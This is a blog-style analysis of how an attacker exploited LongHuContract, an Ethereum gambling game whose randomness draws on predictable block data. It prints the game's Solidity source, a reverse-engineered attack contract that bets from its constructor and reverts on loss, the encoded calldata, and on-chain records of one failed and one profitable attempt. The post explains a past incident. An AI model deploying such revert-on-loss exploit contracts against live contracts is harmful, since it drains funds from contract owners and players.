Can’t win the game? just revert it! part 2

Zhongqiang Chen
12 min readSep 22, 2019

--

A gambling game: LongHuContract

A game named LongHuContract (LongHu for short) was deployed on the Ethereum blockchain by the following transaction.

Transaction Hash: 0x9f08d904308913a641055db2cee04f3dc56adaef3e8d3d58df1735d3dc29f27b
Status: Success
Block: 7442958 1158613 Block Confirmations
Timestamp: 180 days 14 hrs ago (Mar-26-2019 07:37:01 AM +UTC)
From: 0xd2dfe6d4ef4933c436fe6bba81479c0de7089ebd
To: [Contract 0xbc5716fb981c03dd0b50909f7581c53f6461d72c Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.025856868 Ether ($5.45)
Gas Limit: 4,309,478
Gas Used by Transaction: 4,309,478 (100%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 27 43
Input Data: (omitted)

It can be seen that the deployment time of the LongHu game is Mar-26–2019 07:37:01 AM +UTC and the address of the smart contract for the game starts with 0xbc57.

To show to the players that the game is fair, the game creator also published the source code of the game on EtherScan.io. Part of the source code for the LongHu game is presented below (for the complete source code, please go to EtherScan.io).

/**
*Submitted for verification at Etherscan.io on 2019-04-01
*/
pragma solidity >=0.4.22 <0.6.0;contract LongHuContract {
uint maxProfit;//最高奖池
uint maxmoneypercent;
uint public contractBalance;
uint minBet;
uint onoff;//游戏启用或关闭
address private owner;
uint private orderId;
uint private randonce;
event LogNewOraclizeQuery(string description,bytes32 queryId);
event LogNewRandomNumber(string result,bytes32 queryId);
event LogSendBonus(uint id,bytes32 lableId,uint playId,uint content,uint singleMoney,uint mutilple,address user,uint betTime,uint status,uint winMoney);
event LogBet(bytes32 queryId);
mapping (address => bytes32[]) playerLableList;////玩家下注批次
mapping (bytes32 => mapping (uint => uint[7])) betList;//批次,注单映射
mapping (bytes32 => uint) lableCount;//批次,注单数
mapping (bytes32 => uint) lableTime;//批次,投注时间
mapping (bytes32 => uint) lableStatus;//批次,状态 0 未结算,1 已撤单,2 已结算 3 已派奖
mapping (bytes32 => uint[4]) openNumberList;//批次开奖号码映射
mapping (bytes32 => string) openNumberStr;//批次开奖号码映射
mapping (bytes32 => address payable) lableUser;
bytes tempNum ; //temporarily hold the string part until a space is recieved
uint[] numbers;
constructor() public {
owner = msg.sender;
orderId = 0;
onoff=1;
maxmoneypercent=80;
contractBalance = address(this).balance;
maxProfit=(address(this).balance * maxmoneypercent)/100;
randonce = 0;
}
modifier onlyAdmin() {
require(msg.sender == owner);
_;
}
function setGameOnoff(uint _on0ff) public onlyAdmin{
onoff=_on0ff;
}
function getPlayRate(uint playId,uint level) internal pure returns (uint){
uint result = 0;
if(playId == 1 || playId == 3){
result = 19;//10bei
}else if(playId == 2){
result = 9;
}
return result;
}
function doBet(uint[] memory playid,uint[] memory betMoney,uint[] memory betContent,uint mutiply) public payable returns (bytes32 queryId) {
require(onoff==1);
require(playid.length > 0);
require(mutiply > 0);
require(msg.value >= minBet);
checkBet(playid,betMoney,betContent,mutiply,msg.value); /* uint total = 0; */
bytes32 queryId;
queryId = keccak256(abi.encodePacked(blockhash(block.number-1),now,randonce));
emit LogNewOraclizeQuery("Oraclize query was sent, standing by for the answer..",queryId);
uint[7] memory tmp ;
uint totalspand = 0;
for(uint i=0;i<playid.length;i++){
orderId++;
tmp[0] =orderId;
tmp[1] =playid[i];
tmp[2] =betContent[i];
tmp[3] =betMoney[i]*mutiply;
totalspand +=betMoney[i]*mutiply;
tmp[4] =now;
tmp[5] =0;
tmp[6] =0;
betList[queryId][i] =tmp;
}
require(msg.value >= totalspand); lableTime[queryId] = now;
lableCount[queryId] = playid.length;
lableUser[queryId] = msg.sender;
uint[4] memory codes = [uint(0),0,0,0];
openNumberList[queryId] = codes;
openNumberStr[queryId] ="0,0,0,0";
lableStatus[queryId] = 0;
uint index=playerLableList[msg.sender].length++;
playerLableList[msg.sender][index]=queryId;//index:id
emit LogBet(queryId);
opencode(queryId);
return queryId;
}
function opencode(bytes32 queryId) private {
if (lableCount[queryId] < 1) revert();
uint[4] memory codes = [uint(0),0,0,0];//开奖号码
bytes32 code0hash = keccak256(abi.encodePacked(blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code0hash)%1000;
//uint code0int = uint(code0hash) % 52 + 1;
codes[0] = uint(code0hash) % 52 + 1;
string memory code0 =uint2str(uint(code0hash) % 52 + 1);
bytes32 code1hash = keccak256(abi.encodePacked(blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code1hash)%1000;
//uint code1int = uint(code1hash) % 52 + 1;
codes[1] = uint(code1hash) % 52 + 1;
string memory code1=uint2str(uint(code1hash) % 52 + 1);
bytes32 code2hash = keccak256(abi.encodePacked(blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code2hash)%1000;
//uint code2int = uint(code2hash) % 52 + 1;
codes[2] = uint(code2hash) % 52 + 1;
string memory code2=uint2str(uint(code2hash) % 52 + 1);
bytes32 code3hash = keccak256(abi.encodePacked(blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code3hash)%1000;
//uint code3int = uint(code3hash) % 52 + 1;
codes[3] = uint(code3hash) % 52 + 1;
string memory code3=uint2str(uint(code3hash) % 52 + 1);
openNumberList[queryId] = codes;
string memory codenum = "";
codenum = strConcat(code0,",",code1,",",code2);
openNumberStr[queryId] = strConcat(codenum,",",code3);
//结算,派奖
doCheckBounds(queryId);
}
function checkBet(uint[] memory playid,uint[] memory betMoney,uint[] memory betContent,uint mutiply,uint betTotal) internal{
uint totalMoney = 0;
uint totalWin1 = 0;
uint totalWin2 = 0;
uint rate;
uint i;
for(i=0;i<playid.length;i++){
if(playid[i] >=1 && playid[i]<= 3){
totalMoney += betMoney[i] * mutiply;
}else{
revert();
}
if(playid[i] ==1 || playid[i] ==3){//龙虎
rate = getPlayRate(playid[i],0);
totalWin1+=betMoney[i] * mutiply *rate/10;
totalWin2+=betMoney[i] * mutiply *rate/10;
}else if(playid[i] ==2){//和
rate = getPlayRate(playid[i],0);
totalWin2+=betMoney[i] * mutiply *rate;
}
}
uint maxWin=totalWin1;
if(totalWin2 > maxWin){
maxWin=totalWin2;
}
require(betTotal >= totalMoney);
require(maxWin < maxProfit);
}
//中奖判断
function checkWinMoney(uint[7] storage betinfo,uint[4] memory codes) internal {
uint rates;
uint code0 = codes[0]%13==0?13:codes[0]%13;
uint code1 = codes[1]%13==0?13:codes[1]%13;
uint code2 = codes[2]%13==0?13:codes[2]%13;
uint code3 = codes[3]%13==0?13:codes[3]%13;
uint onecount = code0 + code2;
uint twocount = code1 + code3;
onecount = onecount%10;
twocount = twocount%10;
if(betinfo[1] ==1){//long
if(onecount > twocount){
betinfo[5]=2;
rates = getPlayRate(betinfo[1],0);
betinfo[6]=betinfo[3]*rates/10;
}else{
// if(onecount == twocount){//和
// betinfo[5]=2;
// rates = 1;
// betinfo[6]=betinfo[3]*rates;
// }else{
betinfo[5]=1;
// }
}
}else if(betinfo[1] == 2){//和
if(onecount == twocount){
betinfo[5]=2;
rates = getPlayRate(betinfo[1],0);
betinfo[6]=betinfo[3]*rates;
}else{
betinfo[5]=1;
}
}else if(betinfo[1] == 3){//虎
betinfo[5]=1;
if(onecount < twocount ){
betinfo[5]=2;
rates = getPlayRate(betinfo[1],0);
betinfo[6]=betinfo[3]*rates/10;
}else{
//if(onecount == twocount){//和
// betinfo[5]=2;
// rates = 1;
// betinfo[6]=betinfo[3]*rates;
// }else{
betinfo[5]=1;
// }
}
}
}
function doCheckBounds(bytes32 queryId) internal{
uint sta = lableStatus[queryId];
require(sta == 0 || sta == 2);
uint[4] memory codes = openNumberList[queryId];
require(codes[0] > 0);
uint len = lableCount[queryId]; uint totalWin;
address payable to = lableUser[queryId];
for(uint aa = 0 ; aa<len; aa++){
if(sta == 0){
if(betList[queryId][aa][5] == 0){
checkWinMoney(betList[queryId][aa],codes);
totalWin+=betList[queryId][aa][6];
}
}else if(sta == 2){
totalWin+=betList[queryId][aa][6];
}
}
lableStatus[queryId] = 2; if(totalWin > 0){
if(totalWin < address(this).balance){
to.transfer(totalWin);
lableStatus[queryId] = 3;
}else{
emit LogNewOraclizeQuery("sent bouns fail.",queryId);
}
}else{
lableStatus[queryId] = 3;
}
contractBalance=address(this).balance;
maxProfit=(address(this).balance * maxmoneypercent)/100;
}
}

In LongHu game, there are 3 different bet types (they are called play Id in the game): 1, 2, and 3. Different play rates are specified in the game for different bet types: the rate is 19 for bet types 1 and 3 while it is 9 for bet type 2.

A player can play multiple bet types at the same time and for each bet type, the player can bet any amount of money.

After players bet, the game will open the prize. To determine the winner, the game generates 4 random numbers, and based on these 4 random numbers and the bet types, the game decides the winner and the amount of the prize.

If a player is the winner, the game will send the prize to the player’s account.

The main entry point for the game is the function doBet(), which takes 4 arguments to specify bet types and amount of bet money for each bet type. The function first checks the validity of the bets put by the player, then calls the function opencode() to generate random numbers and determine the winner and prize amount.

The function opencode() generates 4 random numbers based on the block hash of the previous block, creation time of current block, and address of the player. A seed is also used when the random number is generated. It then invokes function doCheckBounds() function to determine the winner.

If there is a winner, function doCheckBounds() will send the prize to the winner by calling the function transfer() in the winner’s account.

There is no access control on the function doBet(), so, any account on the Ethereum blockchain, including smart contracts, can play the game by calling the function doBet().

It can be observed that the payback rate of the game is quite high, especially when bet types 1 and 3 are played, which is 19 times of the bet money. Thus, the simple play strategy we introduce in part 1 of this article should be quite effective: keep playing the game, if cannot win, just revert it. The reason is simple: the profits gained by a single win can cover the transaction fees of many reverted transactions that play the game but fail to win.

The simple attack tool introduced in the next Section implements exactly this simple strategy of playing the game.

A smart contract that plays the LongHu game

First, let me present the source code of the smart contract that is designed to play the LongHu game.

pragma solidity ^0.5.1;contract contract_8dc0 {
address constant longhu = 0xBc5716fb981c03DD0B50909F7581C53f6461d72C;
// 0x0000096e5973baba82d4 = 6.7957895e+17
uint256 constant betVal = 0.67957895 ether;

constructor (bytes memory data) public payable {
uint256 oldBalance = address(this).balance;
// function doBet(uint256[],uint256[],uint256[],uint256)
// selector: 0xfc223410
(bool success,) = longhu.call.value(betVal)(data);
if (!success) {
revert();
}
require (address(this).balance > oldBalance); selfdestruct(msg.sender);
}
}

The source code of the attack tool is obtained by reverse engineering methods.

It can be seen that the source code of the attack smart contract is amazingly simple and short. The most interesting point about the source code for the attack tool is that all actions for the attack are conducted within the constructor of the smart contract. So, after the attack finishes, the smart contract is also destroyed.

There are 3 actions taken by the attack contract:

a). call the function doBet() of the LongHu contract to play the game.

b). check the changes in the balance of the attack contract, and revert the transaction if the balance after the function call is less than that before the call.

c). destroy the attack contract itself by using instruction “selfdestruct”.

The constructor of the smart contract takes an argument, which is in fact the encoding of the parameters to the function doBet() of the LongHu game.

The attack smart contract in action

With the simple smart contract in hand, the attacker started to launch the first attack with the following transaction to create a smart contract that fired the actual attack.

Transaction Hash: 0x334e623ee383e862f2f86749b9bb13e4a0d396fb37610bd5cfc6d4b286486925
Status: Fail
Block: 7546004 1054834 Block Confirmations
Timestamp: 164 days 9 hrs ago (Apr-11-2019 09:42:14 AM +UTC)
From: 0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc
To: [Contract 0x9b7874ff51136d8d96969043c5be59e9654e4a31 Created]
Warning! Error encountered during contract execution [Reverted]
Value: 0.679578947368420052 Ether ($141.07) - [CANCELLED]
Transaction Fee: 0.00530836176927 Ether ($1.10)
Gas Limit: 568,363
Gas Used by Transaction: 530,836 (93.4%)
Gas Price: 0.000000010000003333 Ether (10.000003333 Gwei)
Nonce Position 79 50
Input Data: (omitted)

It can be seen that the creator of the smart contract is 0x5d9c, and the smart contract was deployed at 0x9b78.

As the source code of the smart contract shown above indicates that the constructor of the smart contract has an argument called “data”, which is “bytes” type, a parameter was passed to the constructor of the smart contract when the smart contract was created.

The parameter “data” passed to the constructor of the smart contract and the solidity code to generated it were given below.

parameters to the constructor of the smart contract:fc223410
0000000000000000000000000000000000000000000000000000000000000080
00000000000000000000000000000000000000000000000000000000000000c0
0000000000000000000000000000000000000000000000000000000000000100
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000003
0000000000000000000000000000000000000000000000000000000000000001
000000000000000000000000000000000000000000000000096e5973baba82d4
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000003
it is the result of the following solidity code:// function: doBet(uint256[],uint256[],uint256[],uint256)
// function selector: 0xfc223410
uint256[] memory playid = new uint256[](1);
playid[0] = 3;
uint256[] memory betMoney = new uint256[](1);
// 0x96e5973baba82d4 = 6.7957895e+17
betMoney[0] = 0.67957895 ether;
uint256[] memory betContent = new uint256[](1);
betContent[0] = 3;
uint256 multiply = 1;bytes memory data = abi.encodeWithSelector(0xfc223410,
playid,
betMoney,
betContent,
multiply
);

This transaction was reverted.

The internal transactions generated by the transactions were given below.

Contract creation by 0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc created New Contract which produced 0x9b7874ff51136d8d96969043c5be59e9654e4a31 contract Internal Transaction :Type Trace Address      From            To      Value   Gas Limitcall_0  0x9b7874ff51136d8d96969043c5be59e9654e4a31               0xbc5716fb981c03dd0b50909f7581c53f6461d72c     0.679578947368420052 Ether      492,518

Only one internal transaction, call_0, was created, which was triggered by calling the function doBet() of the LongHu game.

Because the attacker did not win the game, so, the condition set by the smart contract, require (address(this).balance > oldBalance), was not met, as a result, the smart contract aborted the transaction by reverting everything done so far. This essentially made the game play have no effect at all.

To check the cost for the attacker to launch this attack, let us look at the state changes of accounts related to this transaction, which were presented below:

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc
2.277237473754853715 Eth Nonce: 79
2.271929111985577327 Eth Nonce: 80
0.005308361769276388
0x829bd824b016326a401d083b33d092293333a830 Miner (F2Pool)
3,891.189631150970789958 Eth 3,891.194939512740066346 Eth 0.005308361769276388

It is clear that the change in the balance of the attacker’s account (i.e., 0x5d9c) is only 0.005308361769276388, which is exactly the transaction fee paid to the miner of the block. Therefore, the attacker did not lose any money to the game contract even though the attacker indeed played the game. By simply reverting the transaction that played the game, the attacker was able to avoid losing money to the game.

Then the attack tried the second attempt by creating a new smart contract with the following transaction.

Transaction Hash: 0x4fa9a04fa89b288fd8441f41c576aac4377217539775a889bf6fff4214ef242b
Status: Success
Block: 7546009 1031761 Block Confirmations
Timestamp: 160 days 19 hrs ago (Apr-11-2019 09:43:18 AM +UTC)
From: 0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc
To: [Contract 0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76 Created]
TRANSFER 0.422054293628808243 Ether From 0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76 To 0xbc5716fb981c03dd0b50909f7581c53f6461d72cTRANSFER 0.801903157894735661 Ether From 0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76 To 0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bcSELF DESTRUCT Contract 0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76Value: 0.422054293628808243 Ether ($86.06)
Transaction Fee: 0.00535516178487 Ether ($1.09)
Gas Limit: 562,617
Gas Used by Transaction: 535,516 (95.18%)
Gas Price: 0.000000010000003333 Ether (10.000003333 Gwei)
Nonce Position 80 38
Input Data: (omitted)

Again, the attack launcher was 0x5d9c and the address of this new smart contract starts with 0x8dc0. By comparing its creation time, Apr-11–2019 09:43:18 AM +UTC, with that of the first attack, which was Apr-11–2019 09:42:14 AM +UTC, we can see that the second attack was launched only about 1 minute after the first attack.

Resorting to the reverse engineering techniques, we can confirm that the source code of this new smart contract is almost the same as that of the previous smart contract, except the following differences.

a). the constant “betVal” is changed from 0.67957895 ether to 0.42205429 ether;

b). the parameters to the constructor of the smart contract are also changed: the play Id is changed from 3 to 1, the bet money is changed from 0.67957895 ether to 0.42205429 ether, and the bet content is changed from 3 to 1.

More specifically, the parameter to the constructor of the smart contract and the solidity code to generate it were given below.

parameters to the constructor of the smart contract:fc223410
0000000000000000000000000000000000000000000000000000000000000080
00000000000000000000000000000000000000000000000000000000000000c0
0000000000000000000000000000000000000000000000000000000000000100
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
00000000000000000000000000000000000000000000000005db7024d7ac6c33
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
it is the result of the following solidity code:// function: doBet(uint256[],uint256[],uint256[],uint256)
// function selector: 0xfc223410
uint256[] memory playid = new uint256[](1);
playid[0] = 1;
uint256[] memory betMoney = new uint256[](1);
// 0x5db7024d7ac6c33 = 4.2205429e+17
betMoney[0] = 0.42205429 ether;
uint256[] memory betContent = new uint256[](1);
betContent[0] = 1;
uint256 multiply = 1;
bytes memory data = abi.encodeWithSelector(0xfc223410,
playid,
betMoney,
betContent,
multiply
);

This time the attacker had his good luck and the attack was successful. From the information on this transaction shown above, we do see some money was transferred from the attack contract to the attacker’s account.

To get the details of money exchanges between different accounts, let us check the internal transactions generated by the transaction, which are given below.

Contract creation by 0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc created New Contract which produced 0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0  0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76               0xbc5716fb981c03dd0b50909f7581c53f6461d72c     0.422054293628808243 Ether      486,862call_0_0       0xbc5716fb981c03dd0b50909f7581c53f6461d72c              0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76      0.801903157894735661 Ether      2,300suicide_1       0x8dc0c681f815e797fbb2ae6a6bcace25ee285f76              0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc      0.801903157894735661 Ether      0

Three internal transactions are generated by this successful attack. The internal transaction call_0 was created by the function call doBet() of the LongHu contract. The internal transaction call_0_0 was created when the LongHu contract transferred award to the attack contract, which happened in the function doCheckBounds() of the LongHu contract. The internal transaction suicide_1 was created when the attack contract destroyed itself with instruction “selfdestruct”.

By looking at the source code of the function doBet() in the Longhu game, we know that the function will emit an event called LogNewOraclizeQuery() after the validity of the bet is checked. Another event called LogBet() will be emitted right before the prize is open.

So, let us look at the event logs generated by the LongHu game, which are described below.

Transaction Receipt Event LogsAddress 0xbc5716fb981c03dd0b50909f7581c53f6461d72c
Name LogNewOraclizeQuery (string description, bytes32 queryId)
Topics
0 0xd236fd58fd44deb7eda9b265c67a35dbe57eb585b61cd9b657cda55ce2dd7484
Data
0000000000000000000000000000000000000000000000000000000000000040
a33536a762e91fb7fa696430bb7b1ebb3f82a025111b1c6cfb60e634a0f3d2cf
0000000000000000000000000000000000000000000000000000000000000035
4f7261636c697a65207175657279207761732073656e742c207374616e64696e
6720627920666f722074686520616e737765722e2e0000000000000000000000
Address 0xbc5716fb981c03dd0b50909f7581c53f6461d72c
Name LogBet (bytes32 queryId)
Topics
0 0xac038f3304801eaaf8be5e1857433a1cd22f8b6384720ccb25c1f291f7416784
Data
a33536a762e91fb7fa696430bb7b1ebb3f82a025111b1c6cfb60e634a0f3d2cf

The first argument of the event LogNewOraclizeQuery() has string type and its value is: “Oraclize query was sent, standing by for the answer..”.

To see the changes in the balances of the accounts that involve in this transaction, let us check the state changes shown below:

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x5d9c806a23830d6fd39e22b7d416a7a7a3a314bc
2.271929111985577327 Eth Nonce: 80
2.646422814466629917 Eth Nonce: 81
0.37449370248105259
0xbc5716fb981c03dd0b50909f7581c53f6461d72c 1.002378947368421954 Eth 0.622530083102494536 Eth 0.3798488642659274180xea674fdde714fd979de3edf0f56aa9716b898ec8 Miner (Ethermine)
620.141723938717334409 Eth 620.147079100502209237 Eth 0.005355161784874828

It can be seen that the balance of the LongHu contract decreased by 0.379848864265927418 ethers. In contrast, the balance of the attacker’s account (i.e., 0x5d9c) increased by 0.37449370248105259 ethers. By mining this transaction, the miner gained 0.005355161784874828 ethers. The sum of transaction fee and the gain by the attacker should be the same as the decrease by the LongHu game.

In other words, the net gain by this successful attack is 0.379848864265927418 ethers, which is much higher than the transaction fee 0.005355161784874828 ethers. The ratio is about 71. That means the simple play strategy is still worth of trying if the player can win once every 71 failed plays.

References

--

--